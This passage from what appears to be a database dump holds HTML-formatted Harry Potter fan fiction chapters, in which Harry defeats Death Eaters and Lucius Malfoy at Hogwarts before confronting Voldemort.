didn&#8217;t return home; he merely\ndisappeared.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Interesting&#8230;perhaps\nHarry Potter has learned new magic while he was away?&nbsp; Hmm, that&#8217;s just\nmakes this all the more fulfilling.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nlord, what about the trolls and werewolves?&nbsp; That was the last of them?&#8221;\none of the Death Eaters stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nmatter, we didn&#8217;t need them anyway, or have my followers become scared of a few\nopponents to battle?&#8221; Voldomort hissed, glaring at the cloaked figures.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nmaster, not at all!&#8221; They all said at once.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nstood back up off his knees and brushed himself off.&nbsp; Ron and Hermione&#8217;s\njaws were on the ground, and Sirius and Lupin were looking at him quite\nastonished.&nbsp; Even Moody had a problem keeping a straight face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\ndone, Harry, well done,&#8221; Moody said with a toothy grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry\ndid that!&#8221; Ron gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Incredible!&#8221;\nHermione added.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nof you, get inside the main gates, now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nHarry?&#8221; Hermione protested.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsaid now!&#8221; he snapped.&nbsp; His eyes left no room for argument.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;C&#8217;mon,\nyou two, do as he says,&#8221; Sirius prodded. &#8220;There is nothing you can do to help\nout here.&#8221; The three men led Harry&#8217;s friends away, and the young wizard headed\nback towards where Dumbledore and Fudge stood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Quite\na display, Harry, I see the training paid off,&#8221; Dumbledore smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nmean he did that!&#8221; Fudge said in astonishment. &#8220;What has he been doing?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He&#8217;s\nbeen preparing, Cornelius, preparing for Voldomort to return, and now, it&#8217;s\ntime to finish this battle.&#8221; Harry drew out his wand again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Potter!&#8221;\nIt was Snape&#8217;s voice this time, &#8220;Well done, boy, but don&#8217;t let it go to your\nhead.&#8221; His voice was still cold, but Harry could sense an underlying praise in\nit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Flitwick,\nSprout, it is time for you to leave my friends.&nbsp; Help Minerva with the\nstudents.&nbsp; I&#8217;m sure they&#8217;re all very nervous on what&#8217;s going on out here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of\ncourse, good luck, Albus,&#8221; Professor Sprout stated, and the two men quickly\nheaded for the gate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now&#8230;there&#8217;s\nonly four of us, but numbers aren&#8217;t everything.&nbsp; Think before you act and\nwatch each other&#8217;s backs,&#8221; Dumbledore ordered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nstepped ahead of the three men, and his eyes once again locked on Voldomort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Voldomort,\nthis will be the last time that we meet,&#8221; his green eyes flaring up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;For\nonce, Harry Potter, we agree on something, but be warned, you will not leave\nhere alive.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;We&#8217;ll\nsee about that.&nbsp; Shall we begin?&#8221; The evil wizard merely laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Boy,\ndo you think that I will just fight you because you ask me to?&nbsp; I&#8217;m not\ngoing to soil my hands with fighting you.&nbsp; I could kill you if I wanted,\nbut I want to see you suffer first.&nbsp; So, I&#8217;ll let my followers play with\nyou first&#8230;before you die.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My\nlord, allow me that pleasure&#8230;&#8221; Lucius Malfoy pulled off his hood, &#8220;&#8230;I have a\nscore to settle with that brat.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Lucius,\nyou two-timing son of a&#8230;&#8221; Fudge hissed, &#8220;&#8230;I trusted you!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut-up,\nyou stupid fool, when will you learn that I can do whatever I want?&nbsp; Not\neven you or the Ministry of Magic can do anything to me; I own half of them\nanyway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nLucius, since you gave me the pleasure of seeing Harry Potter thrown out of\nHogwarts, I will bestow the honor on you, but do not kill him.&nbsp; I want to\nbe the last thing he sees before he dies.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of\ncourse.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nother twelve Death Eaters look anxiously at Dumbledore, Fudge, and Snape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nrest of you&#8230;do as you like with the others but kill Dumbledore last.&nbsp; I\nwant him to watch his precious Harry be taken apart.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nmaster&#8230;yes, my lord&#8230;as you wish&#8230;&#8221; Came the answers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nfour wizards readied themselves as the swarm of Death Eaters began to surround\nthem, and they readied themselves for the final battle to begin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 14, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nPotter stood firm as the group of Death Eaters surrounded himself, Dumbledore,\nFudge, and Snape.&nbsp; Lucius Malfoy stepped forward pointing his wand at\nHarry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright, boy, it&#8217;s time for you to learn your lesson.&nbsp; Now, you will learn\nwhy no one challenges me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Save\nthe insults, or are you planning to talk all day?&#8221; Harry snapped at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nyou have some backbone do you, Potter?&nbsp; Well then, let&#8217;s see what happens\nwhen I have you begging for mercy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius\nraised his wand, and shards of fire shot out towards Harry.&nbsp; He rolled out\nof the way, but his loose robes were nicked slightly, and the cloth\nignited.&nbsp; Quickly dowsing the flames, Harry looked around for his\nopponent.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Looking\nfor me&#8230;&#8221; a voice came from behind.&nbsp; Harry suddenly found himself pinned to\nthe ground by a powerful spell.&nbsp; It was like lying in the middle of wind\ntunnel as blast after blast of wind beat his body into the ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8230;I\ntold you, boy; you should not have underestimated me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Who\nsaid I was underestimating you?&#8221; Harry rolled over and glared up at his\nattacker.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius\nMalfoy was stunned to see the young wizard rise to his feet without much\ndifficulty even though he was still being hit by the wind spell.&nbsp; Malfoy\nwasn&#8217;t afraid and increased the power of the wind currents.&nbsp; It looked\nlike Harry was standing in the middle of a tornado.&nbsp; His robes were\nflapping widely, and his hair was flaring out every which way, yet he remained\nin place.&nbsp; Harry raised his wand and pointed it towards Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Disperse!&#8221;\nAt his command, the winds stopped, and the tornado immediately disappeared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nyou do have a few tricks up your sleeve,&#8221; Lucius sneered. &#8220;So tell me, Potter,\njust what can you do?&nbsp; What did old Dumbledore teach you anyway?&nbsp; I\nknow, why not give us all a demonstration; I&#8217;m sure we&#8217;d all love to see it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nnever learn do you?&#8221; Harry growled. &#8220;Why do you persist in thinking that your\nfamily is so great?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Enough,\nyou whining child, just show me what you can really do!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry&#8217;s\neyes narrowed, and he lowered his wand.&nbsp; Very well, if Lucius Malfoy\nwanted to see his power, then so be it.&nbsp; Snapping his head around, Harry\nlooked at the Death Eaters surrounding Dumbledore, Fudge, and Snape.&nbsp; All\nhe did was twitch his eyebrows, and the cloaked figures were hurled into the\nair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ntwirled them around like tops, and they screeched trying to stop him.&nbsp; He\nthen slammed six of them against one another &#8211; knocking them out cold.&nbsp;\nUsing his wand to materialize a rope, he quickly tied them up, and then did the\nsame with the other six Death Eaters.&nbsp; Harry dropped the unconscious\nfigures onto the ground in a heap.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How\nwas that?&#8221; he asked and glared at Lucius Malfoy.&nbsp; The older man&#8217;s eyes\nwere wide with astonishment, but a smirk still crossed his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very\ncute, but that is nothing.&nbsp; I will show you real magic!&#8221; Malfoy raised his\nwand and directed it towards the dark clouds overhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ramus\nStriconus!&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">All\naround Hogwarts, lightning crackled across the sky.&nbsp; The bolts of energy\ncame together directly over where Harry was standing.&nbsp; More and more\nlightning was gathered, and it formed in a massive electric ball.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Take\nthis!&#8221; Lucius aimed his wand at Harry, and a beam of electricity shot out from\nthe ball.&nbsp; It had to hold at least 100,000 volts of power.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nyou don&#8217;t!&#8221; Harry raised his hand and faced his palm up towards the approaching\nattack, &#8220;Barrias Erecte!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nlightning blast slammed into Harry, and it enveloped him a bright, white light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nFudge gasped, and Dumbledore looked on worriedly.&nbsp; Snape just stood by\nwith a dark glare in his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwarned you, Potter, you&#8217;re no challenge for you,&#8221; Malfoy laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou so sure?&#8221; a voice said from within the light.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It\ncan&#8217;t be!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nlight died down, and Harry was still there.&nbsp; His hand was raised, and the\nelectrical energy was dispersing around him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nforgot one key part, Lucius.&nbsp; The Earth is a natural lightning rod, and\nthe ground naturally absorbs electrical energy.&nbsp; That attack can be\ndefended easily if you know what you&#8217;re doing!&#8221; Harry explained.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nyou little&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;However,\nI couldn&#8217;t waste this gift from mother nature&#8230;&#8221; Another ball of electricity\nformed in front of Harry, &#8220;&#8230;so I felt that you should have it back.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nsurge of lightning lurched towards Lucius Malfoy, and the wizard screamed as it\ncaught him off guard.&nbsp; More and more electrical power poured into his\nbody, and his own robes became charred and sizzled.&nbsp; He&#8217;d created his own\npersonal electric chair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright, Harry, that&#8217;s enough,&#8221; Dumbledore stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Nodding\nhis head, the young man lowered his wand, and the last of the lightning fizzled\nout in the air.&nbsp; Lucius Malfoy collapsed to his knees.&nbsp; His skin was\na charred brown, and his hair had been sizzled.&nbsp; The pompous wizard fell\nflat onto his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nis it that some people never understand?&#8221; Harry sighed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;My&#8230;my&#8230;my&#8230;you&#8217;ve\nimproved, Harry Potter.&nbsp; You&#8217;ve improved tremendously &#8211; well done.&nbsp; I\ndidn&#8217;t think you could stand a chance against Lucius,&#8221; Voldomort said with an\nevil smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nyour turn!&#8221; Harry stated and turned towards the Dark Lord.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nit&#8217;s a fight you want; well then, I shall oblige you.&nbsp; Be warned, it will\nbe your last.&nbsp; I would have thought Dumbledore would be the one to fight\nme, but I guess I can take care of him next.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wrong\nVoldomort, there won&#8217;t be anyone else.&nbsp; This is between you and me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very\ntrue, my boy.&nbsp; So be it, you shall be my next victim, Harry Potter.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis the last time that you will hurt anyone ever again!&#8221; Harry raised his wand,\nand his eyes narrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nbest if we leave&#8230;now!&#8221; Dumbledore stated, looking at the two wizards facing\noff.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou nuts?&nbsp; Potter can&#8217;t beat him!&#8221; Snape hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Severus,\nI don&#8217;t have time to argue.&nbsp; If you don&#8217;t want to get caught in the\ncrossfire, I suggest we all return inside the main gates.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus,\nyou can&#8217;t be serious about leaving that boy out here all alone,&#8221; Fudge gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;This\nis his destiny, Cornelius.&nbsp; Now, he must fulfill it.&nbsp; Both of\nyou&#8230;come!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Fine,\nbut if he dies, it&#8217;s his own fault,&#8221; Snape growled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Back\ninside the main archway, Ron and Hermione were watching the battle\nprogress.&nbsp; Hagrid and Professor McGonagall were next to them to prevent\nany Death Eaters from entering the school.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\nwatched in awe as Harry killed the trolls and werewolves without a hitch then\ndefeated twelve Death Eaters in a matter of seconds.&nbsp; Then, he&#8217;d matched\nwands with Lucius Malfoy and won!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8216;My\ngosh Harry, what&#8217;s happening to you?&nbsp; Are you really the same person?&#8217; </p>\n\n<p class="MsoNormal" 